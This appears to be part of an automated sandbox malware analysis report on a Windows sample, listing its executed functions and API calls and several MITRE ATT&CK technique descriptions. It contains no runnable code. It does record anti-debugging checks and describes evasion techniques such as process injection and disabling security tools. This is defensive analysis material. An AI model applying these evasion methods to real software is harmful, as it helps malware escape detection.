VirtualAlloc.KERNELBASE(00000000,031076B4,?,?), ref: 03035C80

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f1ab84e7f97daf16e436222daa1e19fca684b319fcab6660b029ed3770748be3
Instruction ID: 4203f92f5d8cb93a3ffd64d4d5cf8ac3ec9da291037e7445b9bc3bc1ad4efd22
Opcode Fuzzy Hash: f1ab84e7f97daf16e436222daa1e19fca684b319fcab6660b029ed3770748be3
Instruction Fuzzy Hash: 4B1123B59002089FCB20CF9AC984BDEFBF9EB49324F148419E418A7250C775A984CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 03035D89 Relevance: 1.3, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 03035DF5

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8bbfff1d4b37f7b4d3325e0688913adbff40b4f9e9e67e53ced245b3f57e6381
Instruction ID: ffeda615a00111c01a925693e092353ec7e5514b00db259f4ebd8b215f263bf2
Opcode Fuzzy Hash: 8bbfff1d4b37f7b4d3325e0688913adbff40b4f9e9e67e53ced245b3f57e6381
Instruction Fuzzy Hash: E81158759002499FDB20CF9AC984BEFFFF8EB49324F148429E418A3250D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 03035D90 Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 03035DF5

Memory Dump Source

Source File: 00000001.00000002.257166733.0000000003030000.00000040.00000800.00020000.00000000.sdmp, Offset: 03030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3030000_FTrondtloadw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: dba9bf254482e1c9fe6c240e1a9de42f1b94435e647079d7d5d17991ef72598d
Instruction ID: 0f5aca5d99172c3175cfce8578ac0d1d8737dc506761d1c1c503f029a65f864e
Opcode Fuzzy Hash: dba9bf254482e1c9fe6c240e1a9de42f1b94435e647079d7d5d17991ef72598d
Instruction Fuzzy Hash: 111128759002498FDB20CF9AC984BDEFFF8EB49324F148429D518A3250D778A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0146D564 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.256879867.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_146d000_FTrondtloadw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b680c81fdf2cc57f3db334e91f04106158cec4fe707735571311bec259615b
Instruction ID: f7f7cf27ed461c97bfc747af4d578777d0065e2786084a7263ae7e051bb81373
Opcode Fuzzy Hash: 82b680c81fdf2cc57f3db334e91f04106158cec4fe707735571311bec259615b
Instruction Fuzzy Hash: B9212875A00240DFDB15CF58D9C0F17BF69FB88318F24C56AE8494B666C336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0146D55F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.256879867.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_146d000_FTrondtloadw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction ID: ab6b20a0b670beb8fdabec75cc3114f4e6da7929f6f456657eb86f4499435753
Opcode Fuzzy Hash: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction Fuzzy Hash: A511B476904280CFDB12CF54D9C4B16BF71FB88324F24C6AAD8484B656C336D856CB92

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: FTrondtloadw.exePID: 6520, Parent PID: 5308COMMON

Execution Graph

Execution Coverage:	31.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	42
Total number of Limit Nodes:	3

Executed Functions

Function 050D6CE0 Relevance: 1.8, APIs: 1, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNEL32(?,00000000,?,?,?,?,00000000,?), ref: 050D7029

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 86e7bad7a1044ca69f03fc714095adba4136256ce28c9ce42479ad58c1624cf5
Instruction ID: c0b6e92ac8bfd5499dde8df29db48de5855bc64d3f7cb132eb7385ee7d08baf7
Opcode Fuzzy Hash: 86e7bad7a1044ca69f03fc714095adba4136256ce28c9ce42479ad58c1624cf5
Instruction Fuzzy Hash: E1D18E70E002198FDB14CFA8D891BAEFBF2FF48314F148069E855AB391DB759941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010BF10A Relevance: 1.6, APIs: 1, Instructions: 61nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,00000000,?,?), ref: 010BF19D

Memory Dump Source

Source File: 00000007.00000002.519159180.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10b0000_FTrondtloadw.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 023f004535cb847d539c367589669f73d1f28e1a733243e76849d6224f308a34
Instruction ID: ea24b4ca039672c3039aeb9554739251887874607c0a0ab89558279f46afda4a
Opcode Fuzzy Hash: 023f004535cb847d539c367589669f73d1f28e1a733243e76849d6224f308a34
Instruction Fuzzy Hash: 032112B5900249DFCB10CFAAD984BDEBFF4FB49314F10882AE958A7250C374A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010BF110 Relevance: 1.6, APIs: 1, Instructions: 61nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,00000000,?,?), ref: 010BF19D

Memory Dump Source

Source File: 00000007.00000002.519159180.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10b0000_FTrondtloadw.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 7188cf54f0c03a8a18d3af4a79934d6525131c90abc426c24acd8e99ce754dc1
Instruction ID: 92352d9709d4de4435c774c8dec18fcd617e2c30bc85834024286569b896d246
Opcode Fuzzy Hash: 7188cf54f0c03a8a18d3af4a79934d6525131c90abc426c24acd8e99ce754dc1
Instruction Fuzzy Hash: DC21F0B5A00249DFCB10CF9AD884BDEBBF4FB48314F10892AE918A7250D774A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 050D0AF0 Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,?,?,?,?,?,?), ref: 050D0BC2

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8e605d0bda21865f3167783ea53f4d1b05e7cdf03679936319bab040f749a4f8
Instruction ID: 76229938577663111f5b7ae93f55505733b55461637f39f06fc7d193c05b6fea
Opcode Fuzzy Hash: 8e605d0bda21865f3167783ea53f4d1b05e7cdf03679936319bab040f749a4f8
Instruction Fuzzy Hash: 58319075D087899FCB12CFA9C8546DDFFB0BF1A320F08819AD904AB251D3795954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D9DA8 Relevance: 1.6, APIs: 1, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 050DC812

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8a2f3b705e00eff8f574f9a31f0afd61a201b376412e6c2b5c283b466cfef7ad
Instruction ID: f0fdcf0be40f0c64896b594a21c22761254ac14f93685a7dbaff5075d8211a1b
Opcode Fuzzy Hash: 8a2f3b705e00eff8f574f9a31f0afd61a201b376412e6c2b5c283b466cfef7ad
Instruction Fuzzy Hash: 663114B4D04349DFEB54CFA9D984BAEFBF1BB08714F14812AE816A7240D7789845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 050DC73F Relevance: 1.6, APIs: 1, Instructions: 88
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 050DC812

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0f783a5ded002c5656f162b83e91cf8298a47e617047094f244f38e77f98da68
Instruction ID: a36048eb6bc2497230cd65ce9e7fb778ce2f98393f07df5cd3b2c025f06f0076
Opcode Fuzzy Hash: 0f783a5ded002c5656f162b83e91cf8298a47e617047094f244f38e77f98da68
Instruction Fuzzy Hash: F33106B4D04349CFEB54CFA9D985BAEFBF1BB48314F14812AE816A7240D7789845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0DD2 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,00000000), ref: 050D0E85

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: b31c303959b887211f541eef074693fbfa8a7fce483cea2ec25efda7517b701d
Instruction ID: ce1c819338dd5867d6af9467acd1359d0967a01aeb3fd840a6a96f588bcf83ae
Opcode Fuzzy Hash: b31c303959b887211f541eef074693fbfa8a7fce483cea2ec25efda7517b701d
Instruction Fuzzy Hash: B23187B5900389DFCB11CFA9D884ADEFFF0AF09314F14845AE459AB261D378A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0E00 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,00000000), ref: 050D0E85

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 263afff0f33e643450b437e54c2537043b304ad2435416c97751e1587a77091e
Instruction ID: 3670b0a5371f3ea9418a0ef31a4ab16c67ac5be855adf43badb3df5bddd094c0
Opcode Fuzzy Hash: 263afff0f33e643450b437e54c2537043b304ad2435416c97751e1587a77091e
Instruction Fuzzy Hash: 2C2104B5900249DFCB10CF9AD988ADEFBF5FB48324F14842AE819A7250D775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0B40 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,?,?,?,?,?,?), ref: 050D0BC2

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b97a4ec7d147fe7686fa18cfc0cf1972a01b2ad755a06408eb2b0180c10fccdf
Instruction ID: c0ae34a6f41c11e03bb085c1ce17855a4989dfa9669c8e6641315dd25fa1a3c7
Opcode Fuzzy Hash: b97a4ec7d147fe7686fa18cfc0cf1972a01b2ad755a06408eb2b0180c10fccdf
Instruction Fuzzy Hash: 672165B6D002099FCB10CF9AD884ADEFBB4FB08324F04811AE919B3210D375A950CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 010BEE5F Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 010BEEE4

Memory Dump Source

Source File: 00000007.00000002.519159180.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10b0000_FTrondtloadw.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: b44c34b6964d1b9fa2c2f448b316c80955f5d098c488b6a0099c18ae15f85308
Instruction ID: 55b01d0af827ce05b5caaa0dda548e5fc696f11b160bd7eab2b8cff218fd6aeb
Opcode Fuzzy Hash: b44c34b6964d1b9fa2c2f448b316c80955f5d098c488b6a0099c18ae15f85308
Instruction Fuzzy Hash: A721BE758083898FDB11CF69C9847DEBFF4AF09324F28849AC094E7252D3399444CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D11F0 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 050D126B

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 520c2589e13b5e6e1ccb38d346711df2fafbd38a6ce11b0520981cb5913a3874
Instruction ID: 2f9234e62f041cb730b29c4829f879538742a3a8813160d228c26ec89107135a
Opcode Fuzzy Hash: 520c2589e13b5e6e1ccb38d346711df2fafbd38a6ce11b0520981cb5913a3874
Instruction Fuzzy Hash: 5B2115B69002498FCB10CFAAD584BEEBBF5AB48324F14842AE468A7250C7799545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D11F8 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 050D126B

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 721015e038eddca6ea6d4fab68125df11763b29e08f5f8544949aeb147b1b100
Instruction ID: 86e90edd16dfaae417b22d502195b5c0558f4ff903324238e9ac48db6dfb2b72
Opcode Fuzzy Hash: 721015e038eddca6ea6d4fab68125df11763b29e08f5f8544949aeb147b1b100
Instruction Fuzzy Hash: D021F4B5D002099FCB10CF9AD884BDEBBF5EB48324F148429E468A7250D779A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0BFA Relevance: 1.6, APIs: 1, Instructions: 55fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,?,?,?,?,?,?), ref: 050D0BC2

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9cf298698705cbca278ff51971d4f1cae0458514f90caaee2d00f8deff8807e1
Instruction ID: 2f6da14e49a0f059a8309a3a6c1e6bb678596378d3c189c2a24cbd82ef8216dd
Opcode Fuzzy Hash: 9cf298698705cbca278ff51971d4f1cae0458514f90caaee2d00f8deff8807e1
Instruction Fuzzy Hash: 2E11C176A082999FCF02CFA8E8146DEFFB1FF49324F04854AE545AB251C3359954CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0ECA Relevance: 1.6, APIs: 1, Instructions: 52fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 050D0F3B

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 7405a6a8cd4d7d83d6ffa2521ee3d5fb655d1bd11cdc2f2671b89273033c8ac1
Instruction ID: b0cd3a279787af9253eecb98aec49909fe0c622096abafd50ffa5cbcd125bfcb
Opcode Fuzzy Hash: 7405a6a8cd4d7d83d6ffa2521ee3d5fb655d1bd11cdc2f2671b89273033c8ac1
Instruction Fuzzy Hash: E91126759002489FCB10CF9AD888BDEFFF5EB48324F248419E518A7210D375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0ED0 Relevance: 1.6, APIs: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?), ref: 050D0F3B

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 320ee7e3bd03ce1c873a3dbdffc6b3e2da14854863e81181132cc1e1967b74a8
Instruction ID: ef293fce9cabfab30c0318512195acf1f8d6c9ad3d3734f36d5f8415f460bf38
Opcode Fuzzy Hash: 320ee7e3bd03ce1c873a3dbdffc6b3e2da14854863e81181132cc1e1967b74a8
Instruction Fuzzy Hash: 001104B59002499FCB10CF9AD888BDEFFF5FB48324F248419E529A7250D775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0F88 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32 ref: 050D0FE7

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 4f533193455e0085cfd4f00a0636e88bf2405004ca0f01cc6abf204cebbce1d0
Instruction ID: 5093e0458e17e301db6a5cd16bfe80848d311710f54b7628d6d96520f588f10b
Opcode Fuzzy Hash: 4f533193455e0085cfd4f00a0636e88bf2405004ca0f01cc6abf204cebbce1d0
Instruction Fuzzy Hash: 661136B58003098FCB10CF9AD885BDEFBF5EF48324F24842AD418A7650D779A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D0F82 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32 ref: 050D0FE7

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 220ee3789b8c8fbde11bd9badbc10f9fed970b0c5cb31cf64aca232783e3e4a9
Instruction ID: ac616a5f4148f0b31a8ee1486c0e3a4b95bcc51a7205301997925d4359f49da1
Opcode Fuzzy Hash: 220ee3789b8c8fbde11bd9badbc10f9fed970b0c5cb31cf64aca232783e3e4a9
Instruction Fuzzy Hash: 591158B58002498FCB10CFAAD5457DEFFF5AF48324F24845AD058A7250D779A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 010BEE88 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 010BEEE4

Memory Dump Source

Source File: 00000007.00000002.519159180.00000000010B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10b0000_FTrondtloadw.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: e11bf1ef8cb9b585a86c3c72b6ff97a6fd373444ec23e5b66aa6a77c19fad53a
Instruction ID: 1bb062e014ebf57ab0fb1964ab73892f6a20e492733e0ac1566667c3ae8b15e1
Opcode Fuzzy Hash: e11bf1ef8cb9b585a86c3c72b6ff97a6fd373444ec23e5b66aa6a77c19fad53a
Instruction Fuzzy Hash: 2D1145758002098FDB20CF9AC9847DEBBF4EB08324F108459D469A3250D379A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D2680 Relevance: 1.3, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,02C39574,?,?), ref: 050D5C80

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7347821f2985303666afc8d47077772fc6c496b7101f6030193064147a77f1df
Instruction ID: f7a1c4402304f03def833a33c72f6f38cd9a30ceb1ea1accd3aae55ba082a71e
Opcode Fuzzy Hash: 7347821f2985303666afc8d47077772fc6c496b7101f6030193064147a77f1df
Instruction Fuzzy Hash: 761123B59003089FCB20CF9AD888BDEFBF5EB48324F148419E419A7250C375A984CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 050D5C10 Relevance: 1.3, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,02C39574,?,?), ref: 050D5C80

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 95427fbcbbd57e5a38c9932bb0a67582f03eb55fec4393179843075fb81cf4b9
Instruction ID: 2a0fc8a77fe30ba5c20bb822155d2badbfd77869b2ffc481467056cee2036356
Opcode Fuzzy Hash: 95427fbcbbd57e5a38c9932bb0a67582f03eb55fec4393179843075fb81cf4b9
Instruction Fuzzy Hash: 281107B59002498FCB10CF9AD984BDEBFF5BB48324F148459E459A7250C3759945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 050D5D90 Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 050D5DF5

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 7afe80ff4763e98984470aac42facbb288ec6d615402ff262869b3b6ec7d54a9
Instruction ID: aafd574b0f805dc956e873124457efd88b824fe692fb4186e08870a79bd96226
Opcode Fuzzy Hash: 7afe80ff4763e98984470aac42facbb288ec6d615402ff262869b3b6ec7d54a9
Instruction Fuzzy Hash: 8F1128759002498FDB20CF9AD884BDEFBF8EF48324F148429E518A3250D779A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 050D5D88 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 050D5DF5

Memory Dump Source

Source File: 00000007.00000002.522648532.00000000050D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_50d0000_FTrondtloadw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9c83d9dd0615eac8dda41754b8e0aee97952772930901f8d22b128962c4c2c98
Instruction ID: aa93867cad7f28d8d7499ee74b191407a6222f4818375ec26d94675d06c666dd
Opcode Fuzzy Hash: 9c83d9dd0615eac8dda41754b8e0aee97952772930901f8d22b128962c4c2c98
Instruction Fuzzy Hash: A91146B59002498FDB20CF9AC984BDEFBF4FF48324F248429D558A3650D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
